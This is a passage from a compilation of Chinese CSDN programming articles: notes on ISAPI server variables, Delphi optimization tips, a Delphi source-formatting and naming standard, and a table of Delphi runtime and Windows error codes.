REQUEST_METHOD 是 HTTP 请求方法。

SCRIPT_NAME 执行的脚本程序名称。

SERVER_NAME 当它以自参考URLs形式出现时的主机名或IP地址。

SERVER_PORT 接受请求的TCP/IP的端口。

SERVER_PORT_SECURE 一个非0即1的字符串。当请求由安全端口处理时，它是1；否则是0 。

SERVER_PROTOCOL 接受与这个请求相关的协议的信息的名称和版本。他通常是 HTTP/1.0 。

SERVER_SOFTWARE 是ISAPI应用DLL程序运行时所在的网页服务器的名称和版本。 ALL_HTTP 先前的变量并没有分析全部的HTTP字段头。这些变量从HTTP_<字段头名>中得出 。字段头（由行标分离）包含了各自的字符串，这些字符串并不会终止。

HTTP_ACCEPT HTTP字段头的特例。接受的值是：字段由逗号（，）分离。例如：如果下

面的几行是HTTP头的一部分：

接受：*/*，q=0.1

则URL（2.0新版本的特性）给出它的基础部分。

要注意的是，上面给出的信息片是由 TExtensionControlBlock 纪录自动传递的。因

此您不需要调用GetServerVariable。不过，如果您确有需要，特别是您要从ReadClient 中获得信息和需要知道要读入多少信息时，您可以调用它。

在很多时候，您不需要调用 ReadClient 。但是，您浏览器发出的信息量大于48KB

的时候，您需要调用 ReadClient 来获取其余的信息。


CSDN_文档中心_Delphi语言优化

Delphi语言优化

1)记录或数组类型的返回值
C++程序员不会这样做，因为返回值会被压入堆栈，导致时间效率和空间效率都降低。Delphi无此问题，返回值相当于Out参数，由调用者传递内存单元指针。所以可以使用记录或数组返回值，以增将可读性和书写表达式的方便性。

2）公共表达式
Delphi只在一个语句行内提取公共表达式。如果公共表达式包含函数调用或属性访问，则不被提取，即要重复计算，因为提取可能导致改变语义。

3）const参数
当函数参量不被改变时，如果参量长度超过4字节或是接口、字符串、动态数组类型，使用const参数，可以使编译器以地址方式传递，并且不对引用技术做修改。

4）紧缩
Delphi分配存储单元时会分配尽量小的空间。如果足够小且可放入寄存器内，则一般会使用寄存器直接操作。例如长度为4字节的记录或数祖赋值时，编译器会自动按DWORD用32位寄存器处理。

5）算符
整除2或4会优化成右移位，乘2或4会优化成左移位，所以不需特意用移位运算，可以写出更可读的代码。但乘除8和其他2的倍数不会有此优化。
i := i + 1; 和 Inc(i); 一般产生的代码相同。

6）浮点
Delphi不对浮点计算做优化，即使加零运算也不会被优化掉，而且会添加很多FWAIT指令。所以写关键的浮点运算时要自己优化好表达式，自己提取公共表达式。尽量少用中间变量，因为浮点变量不会被优化掉，即使后面没有使用也会写回内存。必要时用汇编，或者考虑用C。虽然如此，一般情况下，等价的Delphi和C的浮点程序性能差别不大。

7）with语句
with可以生成隐式中间变量，避免重复计算

8)集合
i in [0..31] 比 (i >= 0) and (i <= 31) 快

9）位宽
在不使用紧缩时，用integer和cardinal，因为字节对齐时SmallInt, ShortInt, Byte等也会占用4或8字节，计算时仍为32位，而且要先扩展到32位。


CSDN_文档中心_Delphi源程序格式书写规范

1.规范简介
本规范主要规定Delphi源程序在书写过程中所应遵循的规则及注意事项。编写该规范的目的是使公司软件开发人员的源代码书写习惯保持一致。这样做可以使每一个组员都可以理解其它组员的代码，以便于源代码的二次开发记忆系统的维护。
2.一般格式规范
2.1缩进
缩进就是在当源程序的级改变时为增加可读性而露出的两个空格。缩进的规则为每一级缩进两个空格。不准许使用Tab。因为Tab会因为用户所作的设置不同而产生不同的效果。当遇到begin 或进入判断、循环、异常处理、with语句、记录类型声明、类声明等的时侯增加一级， 当遇到end或退出判断、循环、异常处理、with语句、记录类型声明、类声明等的时侯减少一级。例如：
if TmpInt <> 100 then
TmpInt := 100;
2.2 Begin..End
begin语句和end语句在源程序中要独占一行，例如:
for I := 0 to 10 do begin //不正确的用法
end;
for I := 0 to 10 do //正确的用法
begin
end;
2.3空格
在操作符及逻辑判断符号的两端添加空格，例如：I := I + 1;，a and b 等，但添加括号时不需要空格。例如：if ( a > b ) then //错误的用法
If (a > b) then //正确的用法
又例如：procedure Test(Param1: integer; Param3: string);
3. Object Pascal语法书写格式规范
3.1保留字
Object Pascal 语言的保留字或关键词应全部使用小写字母。
3.2过程和函数
3.2.1命名及格式
过程和函数的名称应全部使用有意义的单词组成，并且所有单词的第一个字母应该使用大写字母。例如：
procedure formatharddisk;//不正确的命名
procedure FormatHardDisk;//正确的命名
设置变量内容的过程和函数，应使用Set作为前缀，例如：
procedure SetUserName;
读取变量内容的过程和函数，应使用Get作为前缀，例如：
function GetUserName: string;
3.2.2 过程和函数的参数
3.2.2.1命名
统一类型的参数写在同一句中:
procedure Foo(Param1, Param2, Param3: Integer; Param4: string);
3.2.2.2命名
所有参数必须是有意义的；并且当参数名称和其它属性名称重了的时候，加一个前缀‘A’, 例如：
procedure SomeProc(AUserName: string; AUserAge: integer);
3.2.2.3命名冲突
当使用的两个unit中包括一个重名的函数或过程时, 那幺当你引用这一函数或过程时，将执行在use 子句中后声明的那个unit中的函数或过程。为了避免这种‘uses-clause-dependent’需要在引用函数或过程时，写完整函数或过程的出处。例如：
SysUtils.FindClose(SR);
Windows.FindClose(Handle);
3.3 变量
3.3.1 变量命名及格式
首先所有变量必须起有意义的名字，使其它组员可以很容易读懂变量所代表的意义，变量命名可以采用同义的英文命名，可使用几个英文单词，但每一单词的首字母必须大写。例如：
var
WriteFormat:：string；
同时对于一些特定类型可采用一定的简写如下：
指针类型
P

纪录类型
Rec

数组类型
Arr

类
Class

循环控制变量通常使用单一的字符如：i, j, 或 k。 另外使用一个有意义的名字例如：UserIndex ，也是准许的。
3.3.2 局部变量
在过程中使用局部变量遵循所有其它变量的命名规则。
3.3.3 全局变量
尽量不使用全局变量，如必须使用全局变量则必须加前缀‘g’，同时应在变量名称中体现变量的类型。例如：
gprecUserCount: point;//名称为UserCount的全局变量,其类型为指向一结构的指针
但是在模块内部可以使用全局变量。所有模块内全局变量必须用‘F’为前缀。如果几个模块之间需要进行资料交换，则需要通过声明属性的方法来实现。例如：
type
TFormOverdraftReturn = class(TForm)
private
{ Private declarations }
FuserName: string;
FuserCount: Integer;
Procedure SetUserName(Value: string);
Function GetUserName: string;
public
{ Public declarations }
property UserName: string read GetUserName write SetUserName;
property UserCount: Integer read FuserCount write FuserCount;
end;
3.4类型
3.4.1 大小写协议
保留字的类型名称必须全部小写。Win32 API 的类型通常全部大写，对于其它类型则首字母大写，其余字母小写，例如：
var
MyString: string; // reserved word
WindowHandle: HWND; // Win32 API type
I: Integer; // type identifier introduced in System unit
3.4.2 浮点类型
尽量不使用 Real 类型，他只是为了和旧的Pascal代码兼容，尽量使用Double 类型。Double 类型是对处理器和数据总线做过最优化的并且是IEEE定义的标准数据结构。当数值超出Double的范围时，使用Extended 。但Extended不被Jave支持。但使用其它语言编写的DLL时可能会使用Single 类型。
3.4.3 枚举类型
枚举类型的名字必须有意义并且类型的名字之前要加前缀‘T’。枚举类型的内容的名字必须包含枚举类型名称的简写，例如：
TSongType = (stRock, stClassical, stCountry, stAlternative, stHeavyMetal, stRB);
3.4.4 数组类型
数组类型的名字必须有意义并且类型的名字之前要加前缀‘T’。如果声明一个指向数组类型的指针必须在该类型的名字之前加前缀‘P’，例如：
type
PCycleArray = ^TCycleArray;
TCycleArray = array[1..100] of integer;
3.4.5记录类型
记录类型的名字必须有意义并且类型的名字之前要加前缀‘T’。如果声明一个指向数组类型的指针必须在该类型的名字之前加前缀‘P’，例如：
type
PEmployee = ^TEmployee;
TEmployee = record
EmployeeName: string
EmployeeRate: Double;
end;
3.5类
3.5.1 命名及格式
类的名字必须有意义并且类型的名字之前要加前缀‘T’。例如：
type
TCustomer = class(TObject)
类实例的名字通常是去掉‘T’的类的名字。例如：
var
Customer: TCustomer;
3.5.2 类中的变量
3.5.2.1命名及格式
类的名字必须有意义并且类型的名字之前要加前缀‘F’。所有的变量必须是四有的。如果需要从外部访问此变量则需要声明一属性
3.5.3 方法
3.5.3.1命名及格式
同函数和过程的命名及格式。
3.5.3.2 属性访问方法
所有的属性访问方法必须出现在private 或 protected 中。属性访问方法的命名同函数和过程的命名另外读方法(reader method)必须使用前缀‘Get’. 写方法(writer method)必须使用前缀‘Set’。写方法的参数必须命名为‘Value’，其类型同所要写的属性相一致。例如：
TSomeClass = class(TObject)
private
FSomeField: Integer;
protected
function GetSomeField: Integer;
procedure SetSomeField( Value: Integer);
public
property SomeField: Integer read GetSomeField write SetSomeField;
end;
3.6属性
3.6.1 命名及格式
同其用操作的，出去前缀‘F’的类的变量的名称相一致 。
3.7文件
3.7.1项目文件
3.7.1.1项目目录结构
程序主目录--Bin（应用程序所在路径）
-Db（本地数据库所在路径）
-Doc（文档所在路径）
-Hlp（帮助文件所在路径）
-Backup（备份路径）
-Tmp（临时文件路径）
3.7.1.2命名
项目文件必须使用一个有意义的名字。例如： Delphi中系统信息的项目文件被命名为 SysInfo.dpr。
3.7.2 Form 文件
3.7.2.1命名
同Form的名称相一致：例如：Form的名称为FormMain则Form文件的名称就为FormMain.frm。
3.7.3 Data Module 文件
3.7.3.1命名
data module文件的命名应该有意义，并且使用‘DM’作为前缀。例如： 用户data module 被命名为‘DMCustomers.dfm’。
3.7.4 Remote Data Module 文件
3.7.4.1 命名
remote data module文件的命名应该有意义，并且使用‘RDM’作为前缀。例如：用户remote data module 被命名为‘RDMCustomers.dfm’。
3.7.5 Unit文件
3.7.5.1普通 Unit
3.7.5.1.1 Unit文件命名
unit文件的命名应该有意义，并且使用‘unit’作为前缀。例如： 通用unit 被命名为‘UnitGeneral’。
3.7.5.2 Form Units
3.7.5.2.1命名
Form unit 文件的名字必须和Form的名称保持一致。例如：主窗体叫FormMain.pas 则Form Unit文件的名字为：UnitFormMain。
3.7.5.3 Data Module Units
3.7.5.3.1命名
Data Module unit 文件的名字必须和Data Module的名称保持一致。例如：主Data Module叫DMMain.pas 则Data Module Unit文件的名字为：UnitDMMain。
3.7.5.4 文件头
在所有文件的头部应写上此文件的用途，作者，日期及输入和输出。例如：
{
修改日期：
作者：
用途：
本模块结构组成：
}
3.7.6 Forms和Data Modules Forms
3.7.6.1 Form类
1. Form类命名标准
Forms类的命名应该有意义，并且使用‘TForm’作为前缀。例如： About Form类的名字为:
TAboutForm = class(TForm)
主窗体的名字为
TMainForm = class(TForm)
2. Form类实例的命名标准
Form 的类实例的名字应同期掉‘T’的Form类的名字相一致。例如：
Type Name
Instance Name

TaboutForm
AboutForm

TmainForm
MainForm

TCustomerEntryForm
CustomerEntryForm

3.7.6.2 Data Modules Form
3.7.6.2.1. Data Module Form 命名标准
Data Modules Forms类的命名应该有意义，并且使用‘TDM’作为前缀。例如：
TDMCustomer = class(TDataModule)
TDMOrders = class(TDataModule)
3.7.6.2.2. Data Module 实例命名标准
Data Module Form 的类实例的名字应同期掉‘T’的Data Module Form类的名字相一致。例如：
Type Name
Instance Name

TCustomerDataModule
CustomerDataModule

TordersDataModule
OrdersDataModule

3.8控件
3.8.1 控件实例的命名
控件的实例应使用去掉‘T’该控件类的名称作为前缀，例如：
输入用户姓名的Tedit的名字为：EditUserName。
3.8.2 控件的简写
控件的名称可使用以下简写，但所用简写于控件名称之间药添加‘_’：
3.8.2.1 Standard Tab
mm TMainMenu
pm TPopupMenu
mmi TMainMenuItem
pmi TPopupMenuItem
lbl TLabel
edt TEdit
mem TMemo
btn TButton
cb TCheckBox
rb TRadioButton
lb TListBox
cb TComboBox
scb TScrollBar
gb TGroupBox
rg TRadioGroup
pnl TPanel
cl TCommandList
3.8.2.2 Additional Tab
bbtn TBitBtn
sb TSpeedButton
me TMaskEdit
sg TStringGrid
dg TDrawGrid
img TImage
shp TShape
bvl TBevel
sbx TScrollBox
clb TCheckListbox
spl TSplitter
stx TStaticText
cht TChart
3.8.2.3 Win32 Tab
tbc TTabControl
pgc TPageControl
il TImageList
re TRichEdit
tbr TTrackBar
prb TProgressBar
ud TUpDown
hk THotKey
ani TAnimate
dtp TDateTimePicker
tv TTreeView
lv TListView
hdr THeaderControl
stb TStatusBar
tlb TToolBar
clb TCoolBar
3.8.2.4 System Tab
tm TTimer
pb TPaintBox
mp TMediaPlayer
olec TOleContainer
ddcc TDDEClientConv
ddci TDDEClientItem
ddsc TDDEServerConv
ddsi TDDEServerItem
3.8.2.5 Internet Tab
csk TClientSocket
ssk TServerSocket
wbd TWebDispatcher
pp TPageProducer
tp TQueryTableProducer
dstp TDataSetTableProducer
nmdt TNMDayTime
nec TNMEcho
nf TNMFinger
nftp TNMFtp
nhttp TNMHttp
nMsg TNMMsg
nmsg TNMMSGServ
nntp TNMNNTP
npop TNMPop3
nuup TNMUUProcessor
smtp TNMSMTP
nst TNMStrm
nsts TNMStrmServ
ntm TNMTime
nudp TNMUdp
psk TPowerSock
ngs TNMGeneralServer
html THtml
url TNMUrl
sml TSimpleMail
3.8.2.6 Data Access Tab
ds TDataSource
tbl TTable
qry TQuery
sp TStoredProc
db TDataBase
ssn TSession
bm TBatchMove
usql TUpdateSQL
3.8.2.7 Data Controls Tab
dbg TDBGrid
dbn TDBNavigator
dbt TDBText
dbe TDBEdit
dbm TDBMemo
dbi TDBImage
dblb TDBListBox
dbcb TDBComboBox
dbch TDBCheckBox
dbrg TDBRadioGroup
dbll TDBLookupListBox
dblc TDBLookupComboBox
dbre TDBRichEdit
dbcg TDBCtrlGrid
dbch TDBChart
3.8.2.8 Decision Cube Tab
dcb TDecisionCube
dcq TDecisionQuery
dcs TDecisionSource
dcp TDecisionPivot
dcg TDecisionGrid
dcgr TDecisionGraph
3.8.2.9 QReport Tab
qr TQuickReport
qrsd TQRSubDetail
qrb TQRBand
qrcb TQRChildBand
qrg TQRGroup
qrl TQRLabel
qrt TQRText
qre TQRExpr
qrs TQRSysData
qrm TQRMemo
qrrt TQRRichText
qrdr TQRDBRichText
qrsh TQRShape
qri TQRImage
qrdi TQRDBMImage
qrcr TQRCompositeReport
qrp TQRPreview
qrch TQRChart
3.8.2.10 Dialogs Tab
OpenDialog TOpenDialog
SaveDialog TSaveDialog
OpenPictureDialog TOpenPictureDialog
SavePictureDialog TSavePictureDialog
FontDialog TFontDialog
ColorDialog TColorDialog
PrintDialog TPrintDialog
PrinterSetupDialog TPrintSetupDialog
FindDialog TFindDialog
ReplaceDialog TReplaceDialog
3.8.2.11 Win31 Tab
dbll TDBLookupList
dblc TDBLookupCombo
ts TTabSet
ol TOutline
tnb TTabbedNoteBook
nb TNoteBook
hdr THeader
flb TFileListBox
dlb TDirectoryListBox
dcb TDriveComboBox
fcb TFilterComboBox
3.8.2.12 Samples Tab
gg TGauge
cg TColorGrid
spb TSpinButton
spe TSpinEdit
dol TDirectoryOutline
cal TCalendar
ibea TIBEventAlerter
3.8.2.13 ActiveX Tab
cfx TChartFX
vsp TVSSpell
f1b TF1Book
vtc TVTChart
grp TGraph
3.8.2.14 Midas Tab
prv TProvider
cds TClientDataSet
qcds TQueryClientDataSet
dcom TDCOMConnection
olee TOleEnterpriseConnection
sck TSocketConnection
rms TRemoteServer
mid TmidasConnection
4．修改规范
本规则所做的规定仅适用于已经纳入配置管理的程序。在这类修改中，要求保留修改前的内容、并标识出修改和新增的内容。并在文件头加入修改人、修改日期、修改说明等必要的信息。
4．1修改历史记录
对源文件进行经过批准的修改时，修改者应在程序文件头加入修改历史项。在以后的每一次修改时，修改者都必须在该项目中填写下列信息：
修改人
修改时间
修改原因
修改说明即如何修改
4．2新增代码行
新增代码行的前后应有注释行说明。
// 修改人，修改时间，修改说明
新增代码行
// 修改结束
4．3删除代码行
删除代码行的前后用注释行说明。
//修改人，修改时间，修改说明
//要删除的代码行（将要删除的语句进行注释）
//修改结束
4．4修改代码行
修改代码行以删除代码行后在新增代码行的方式进行。
//修改人，修改时间，修改说明
//修改前的代码行
//修改结束
//修改后的代码行
修改后的代码行
//修改结束


CSDN_文档中心_delphi运行错误信息

*******************************
* 运 行 错 误 信 息 *
* 运行时出现的错误信息形式为: *
* Run-time error nnn at xxxx *
* 其中 nnn 是运行时的错误编号 *
* xxxx 是运行时的错误地址 *
*******************************

运行时的错误分为以下三类:
* I/O错误:错误编号为100-149
编号 说明
---------------------------------------------------------
100 磁盘读错误,若要对超过格式文件尾进行读取时
101 磁盘写错误,若磁盘满时,由CloseFile,Write,Writeln或Flush报告
102 没有指定文件,若文件变量没有由Assign或AssignFile赋值,由Reset,Rewrite,Append,Rename和Erase报告
103 文件没有打开,若文件未打开,由CloseFile,Read,Write,Seek,Eof,FilePos,FileSize,Flush,BlockRead或BlockWrite报告
104 输入文件未打开,由Read,Readln,Eof,Eoln,SeekEof或SeekEoln报告有关输入的文本文件未打开
105 输出文件未打开,由Write和Writeln报告有关文本文件没有用Console应用程序生成
106 无效的数据格式,由Read或Readln报告从文本文件读取的数据格式不正确

* 致命错误:错误编号为200-255
编号 说明
---------------------------------------------------------
200 被零除
201 范围检查错误
202 栈上溢
203 栈上溢错误
204 无效的指针操作
205 浮点上溢
206 浮点下溢
207 无效的浮点操作
215 算术上溢错误
216 存取非法
217 控制-C
218 授权指令
219 无效的TYPECAST
220 无效的变体TYPECAST
221 无效的变体操作
222 没有变体方法调用DISPATCHER
223 不能建立变体数组
224 变体不包含数组
225 变体数组边界错误
226 TLS初始化错误

* 操作系统错误
编号 说明
---------------------------------------------------------
1899L 不能生成端点映射数据库
1752L 不能执行操作
1751L 入口点非法
1753L 端点映射中没有更多可用的端点
5L 存取非法
1331L 帐号当前不能用,因此不能登录
1793L 用户帐号过期
1327L 用户名是有效的,但一些限制不能验明用户
57L 网络适配器硬件错误
1379L 指定的别名已存在
1344L 分配用于更新的内存块不足
85L 本地设备名已在使用
183L 试图建立已存在的文件
1074L 系统当前正以最新最好的配置运行
7L 存储控制块被破坏
534L 运算结果超出32位
174L 文件系统不支持锁定类型的原子变化
199L 操作系统不能运行这一程序
160L 传递给DosExecPgm的参数串不正确
22L 设备不能识别的命令
1361L 安全描述符不在要求的格式
66L 网络资源类型不正确
1200L 指定的设备名无效
119L 系统不支持请求的命令
10L 环境不正确
193L %1不是有效的基于Windows的应用程序
11L 企图装载不正确格式的程序
1346L 指定的模拟级无效或没有提供要求的模拟级
1340L 试图建立继承的ACL或没有继承的ACE
24L 程序指定的命令长度不正确
1365L 登录段与要求的操作状态不一致
67L 网络名找不到
58L 指定的服务器不能执行请求的命令
53L 网络路径没有找到
161L 指定的路径名无效
230L 管道状态无效
1206L 网络连接协议被损坏
1204L 指定的网络提供者名无效
60L 远程适配器不兼容
159L 线程ID地址不正确
1349L 符号对象类型不当
20L 系统不能找到指定的设备
2202L 指定的用户名无效
1348L 请求的确定信息类是无效的
1009L 配置记录数据库被破坏
1010L 配置记录密钥无效
1102L 遇到磁带头或分区
1076L 当前引导已接受为最新的控制设置
109L 管道结束
111L 文件名太长
1111L I/O总线重新设置
170L 请求的资源在使用
142L 此时系统不能执行JOIN或SUBST
120L 输入的API只能在Windows/NT模式下工作
1003L 由于一些原因不能完成的功能
173L 锁定请求对提供撤消区未解决
266L 不能使用
1407L 不能找到Windows类
1368L 表示要试图通过命名管道的模拟还没有读取
82L 不能生成目录或文件
1205L 不能打开网络连接协议
1351L 没有联系的域控制器或在域内对象被保护,因此不能存取必要信息
1310L 委托组不能禁止
1347L 试图打开匿名的符号,匿名级的符号不能打开
1011L 配置记录密钥不能打开
1012L 配置记录密钥不能读取
1013L 配置记录密钥不能写
1021L 试图在易变的父关键字下建立稳定的子关键字
129L 应用程序%1不能在Windows模式下运行
1436L 子窗口不能有菜单
1059L 指定子循环服务从属
1410L 类已存在
1411L 类不存在
1412L 类仍在打开的窗口中
1418L 线程没有打开的剪切板
1201L 设备当前没有连接,但要记住连接
1421L 没有找到控制ID
1121L 由于超时已到,一系列的I/O操作完成
23L 数据错误
16L 目录不能删除
1065L 指定的数据库不存在
1425L 传递给ReleaseDC的无效HDC
1051L 终止控制已送到其他独立运行服务的服务中
1435L 不能破坏其他线程产生的对象
55L 指定的网络资源不再有效
1202L 试图记住先前记住的设备
2404L 设备由激活的进程在使用,不能断开连接
1107L 当装载磁带时,找不到磁带的分区信息
145L 目录非空
144L 目录不是根目录的子目录
130L 试图使用文件句柄来打开磁盘操作
267L 目录名无效
157L 段已丢失,不能锁定
107L 由于没有插入交换磁盘,程序终止
1393L 磁盘结构损坏,不能在读取
112L 磁盘上没有足够的空间
1127L 即使重试,存取硬盘也失败
1126L 在存取硬盘时,即使重试,存取校准操作也失败
1128L 即使磁盘控制器重新设置,存取硬盘也失败
1114L DLL初始化例程失败
1356L 指定的域已存在
1357L 在该版本中试图超出每个服务器域的限制
1810L 指定域的名字或安全ID与该域的受托信息不一致
108L 磁盘在使用或被其他进程锁定
1221L 工作族或域名已被网络上的其他计算机使用
52L 网络上存在重名
1078L 名字已在作服务器名或服务显示名使用
196L 操作系统不能运行这一应用程序
994L 对EA的存取非法
276L 在安装文件系统上的EA文件被损坏
255L EA不一致
277L 在安装文件系统的EA文件上的EA表用完
275L EA不适合在缓冲区中
282L 安装文件系统不支持扩展属性
1100L 在操作中出现磁带尾部标志
203L 系统不能找到输入的环境选项
1129L 遇到磁带的物理尾部
1501L 没有打开的日志文件事件,因此事件登录服务没有启动
1503L 在读取之间事件日志文件已改变
1500L Eventlog登录文件之一破坏
1064L 在处理控制请求时出现意外
101L 专门信号被其他进程所拥有
192L 操作系统不能运行%1
1208L 出现扩展错误
83L INT24失败
1063L 服务进程不能连接到服务控制器
1392L 文件或目录被损坏,不能在读取
80L 文件存在
1006L 文件卷已变化,因此打开的文件不再有效
2L 系统不能找到指定的文件
1101L 磁带存取达到文件标志
206L 文件名或后缀太长
1125L 软盘控制器返回与登记不一致的结果
1122L 在软盘上没有找到ID地址标志
1123L 软盘扇区ID域与软盘控制器道地址不匹配
1124L 软盘控制器报告出现不能由软驱识别的错误
1007L 请求的操作在全屏幕模式不能执行
31L 连接到系统上的设备不正常
1360L 通配存取类型包含在存取屏蔽中
1429L 该异常分支只能为全局设置
1318L 指定的组已存在
39L 磁盘满
38L 到达文件末
1428L 没有模块处理,不能设置非局部的异常处理
1431L 异常分支没有安装
1409L 热键已登记
1419L 热键没有登记
1441L 所有的DeferWindowsPosHWND必须具有相同的父
1324L 在更新口令时,该返回状态表示新口令中包含不允许的值
202L 操作系统不能运行%1
122L 传递给系统调用的数据区太小
1358L 由于灾难性的介质错误或磁盘数据结构破坏引起请求的操作不能完成
1383L LSA数据库内部不一致
1359L SAM遇到内部数据库不一致的错误,可防止SAM的进一步操作
1800L 指定的优先级无效
1448L 滚动条范围大于0x7FFF
1338L 安全描述符结构无效
198L 操作系统不能运行%1
180L 系统检测到不正确的段号
1799L 指定的分隔符文件无效
1352L SAM服务器状态错误,不能完成期望的操作
1057L 帐号名无效或不存在
1052L 对该服务请求的控制无效
1071L 指定的服务数据锁定无效
1213L 指定的服务名格式无效
1215L 指定的共享名格式不正确
1449L SHOWWINDOWS命令无效
1337L SID结构无效
209L 公布的信号不正确
1439L 参数无效
189L 操作系统不能运行%1
188L 操作系统不能运行%1
1335L 子权限值无效
114L 目标内部文件标识符不正确
1444L 线程ID无效
1784L 提供的用户缓冲区对请求操作失效
118L 写后验证开关参数值不正确
1400L 窗口处理无效
1329L 用户帐号限制,不能从源工作站登录
1117L 由于I/O设备错误,请求不能完成
996L 重叠的IO时间不在发信号状态
997L 重叠的IO操作在处理中
197L 操作系统当前不能配置来运行应用程序
1119L 不能打开与其它设备共享IRQ的设备,至少有一使用该IRQ的其他设备已打开
147L 没有足够的可用资源来处理这一命令
133L 由于驱动器已包含连接,JOIN或SUBST命令不能使用
134L 试图在已连接的驱动器上使用JOIN或SUBST命令
146L 指定的路径正在用替换
149L 试图替代先前已替代的驱动器目录
135L 试图在已替代的驱动器上使用JOIN或SUBST命令
194L 操作系统不能运行%1
138L 系统试图替代已替代的目录
140L 系统试图替代已替代的目录
1430L 日常异常处理已安装
1018L 在有删除标志的登记键上非法操作
1020L 试图在已有子键或值的登记键建立符号连接
154L 输入的卷标超过11个字符的限制,前11个字符写在磁盘上,其余字符自动删除
1322L 请求的操作被禁止或删除最新的其余管理员帐号
1434L 该列表框不支持制表符
1416L 列表符ID没有找到
1390L 试图修改用户口令,但没有提供要求的LM口令
1303L 联接局部RPC,要求用户话路密钥
167L 试图锁定文件失败的区域
33L 由于其他进程已锁定部分文件,该文件不能被进程存取
212L 端锁定,因此不能重新分配
1502L 事件登录文件已满
1326L 由于用户名或验证信息不正确,试图登录无效
1380L 请求登录的类型(如网络,服务等)没有被目标系统授权
1366L 登录话路ID已在使用
1363L 试图启动新的话路管理程序或用已在使用的LSA登录话路
1385L 请求登录的类型(如网络,服务等)没有授权
1334L 没有更多可分配的LUID
164L 在系统中不能生成更多的线程
1110L 驱动器中的介质已改变
1378L 指定的帐号名不是别名的成员
1320L 指定的用户帐号已在指定的组帐号中或由于组中有成员,不能删除
1377L 指定的帐号名不是别名的成员
1321L 指定的用户帐号不是指定组帐号的成员
1374L 由于组是基本组,因此成员不能从该组中删除
208L 取决文件名符号*或?输入不正确或指定的全局文件符号更多
126L 不能找到指定的模块
234L 需要更多的数据
1120L 一系列的I/O操作被其他写到串口的操作完成
317L 系统不能找到消息号为0x%1的消息
131L 试图在超出文件头的位置移动文件指针
215L 不能嵌套调用LoadModule
1792L 试图登录,但网络登录服务没有启动
88L 网络写失败
64L 指定的网络名不再有效
65L 网络存取非法
54L 网络在忙
6118L 该工作组的服务器列表当前不可用
232L 管道在进程中关闭
1104L 在磁带存取中,到达数据标志尾部
1309L 试图由当前不在模拟客户的线程上操作模拟符号
1391L ACL不包含可继承的组件
1019L 系统不能分配记录文件要求的空间
1807L 使用的帐号在内域受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器
1809L 使用的帐号在服务器受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器
1311L 当前没有可用的登录服务器来服务登录请求
1808L 使用的帐号在工作站受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器
1112L 由于驱动器中没有介质,磁带查询失败
18L 没有更多的文件
259L 没有更多的可用数据
113L 没有更多的可用内部文件标识符
1203L 没有网络提供者接收给定的路径
2138L 没有网络或网络未启动
89L 此时系统不能启动另一进程
1302L 对该帐号没有指定限额
1447L 窗口不能有滚动条
1350L 试图对没有安全性的对象操作
1116L 由于没有关机在处理中,试图放弃关机失败
205L 在命令子树中没有进程有信号句柄
62L 在服务器上存储等待打印文件的空间不足
1376L 指定的别名不存在
1355L 指定的域不存在
1319L 指定的组不存在
1312L 指定的登录话路不存在,可能已终止
1387L 不存在的新成员不能添加到别名中
1364L 指定的验证包未知
1313L 指定的特权不存在
1317L 指定的用户不存在
1437L 窗口不能具有系统菜单
1008L 试图引用不存在的符号
1786L 工作站没有受托秘密
1787L 域控制器对该工作站没有帐号
1113L 对目标多字节代码页存在的Unicode字符没有映射
1394L 对指定的登录话路没有用户话路密钥
125L 磁盘没有卷标
1417L 没有找到通配符
998L 对内存位置的无效存取
1445L 用非MDI子窗口调用DefMDIChildProc
1332L 映射的信息没有转变
1300L 不是所有权限赋给调用者
1442L 窗口不是子窗口
2250L 网络连接不存在
1207L 不能枚举非容器
26L 指定的磁盘不能存取
8L 没有足够的空间处理该命令
1130L 没有足够的空间处理该命令服务器
136L 系统试图删除没有连接的驱动器
158L 段已锁定
1362L 请求的动作只受登录进程的限制,调用进程没有登记为登录进程
288L 试图释放不被调用者拥有的互斥法
21L 驱动器没有准备好
1017L 系统试图装载或恢复文件到登记中,但指定的文件格式不正确
17L 系统不能将文件移动到不同的驱动器上
137L 系统试图删除没有替代的驱动器
50L 不支持网络请求
1022L 改变请求正在完成,信息没有返回在调用者的缓冲区.调用者现在需要模拟文件,以找到所做的修改
1386L 没有提供必要的NT交叉保密口令而试图以安全帐号管理员改变用户口令
1304L WindowsNT的口令太复杂,无法将其转换为Windows的网络口令(该口令返回NULL字符串)
110L 系统不能打开指定的设备或文件
2401L 有打开文件或请求在连接期
995L 由于线程退出或应用程序请求,I/O操作放弃
28L 打印机没有纸
84L 处理该请求没有足够的空间
14L 处理该操作没有足够的空间
1105L 磁带没有分区
1330L 用户帐号的口令已到期
1325L 在更新口令,该状态表示违反一些口令更新规则
148L 指定的路径现在不能用
3L 系统不能找到指定的路径
231L 所有的管道实体在忙
535L 在管道的另一端有进程
536L 等待进程打开管道的另一端
233L 在管道的另一端没有进程
1446L 下拉式菜单已激活
1131L 已检测到潜在的僵局条件
63L 要打印的等待文件被删除
1802L 打印机已存在
1795L 指定的打印驱动程序已安装
61L 打印队列已满
1415L 使用局部的DIALOG窗口字
1314L 请求的权限客户机没有
127L 指定的过程没有找到
1067L 进程突然终止
30L 系统不能从指定的驱动器读取
72L 指定的打印机或磁盘驱动器已暂停
1794L 重定向器在使用,不能卸载
1015L 登记文件的文件结构或文件的内存印象系统损坏或文件不能恢复
1016L 登记初始化I/O操作有不可恢复的错误,登记不能完成读,写等操作
1014L 包含系统登记数据的文件之一已恢复成功
201L 操作系统不能运行%1
51L 远程计算机不可用
1220L 试图建立LAN管理服务器话路,但已建立了很多
71L 网络请求不接受
1816L 处理该命令没有足够的定额
1812L 指定的图象文件不包含资源部分
1815L 指定的资源语言ID在图象文件中找不到
1814L 指定的资源名在图象文件中找不到
1813L 指定的资源类型在图象文件中找不到
1306L 两个版本级不兼容
207L 2环堆栈在使用
200L 代码段不能大于等于64KB
1370L 在登记事务委托中出现错误
1369L 登记子树的事务状态与请求的操作不兼容
143L 系统不能替代相同的驱动器或目录
1440L 屏幕已锁定
1382L 秘密的长度超出允许的最大长度
27L 驱动器没有找到请求的扇区
25L 驱动器不能找到磁盘上指定的区域和道
132L 文件指针不能设置在指定的设备或文件上
102L 信号设置不能关闭
187L 指定的系统信号名没有找到
105L 该信号的先前物主关系已终止
121L 信号超时期已到
106L 在驱动器1中插入磁盘
1118L 串行设备没有初始化,串行设备没有安装
1341L GUID分配服务器此时禁止
1811L 服务器在使用中,不能卸载
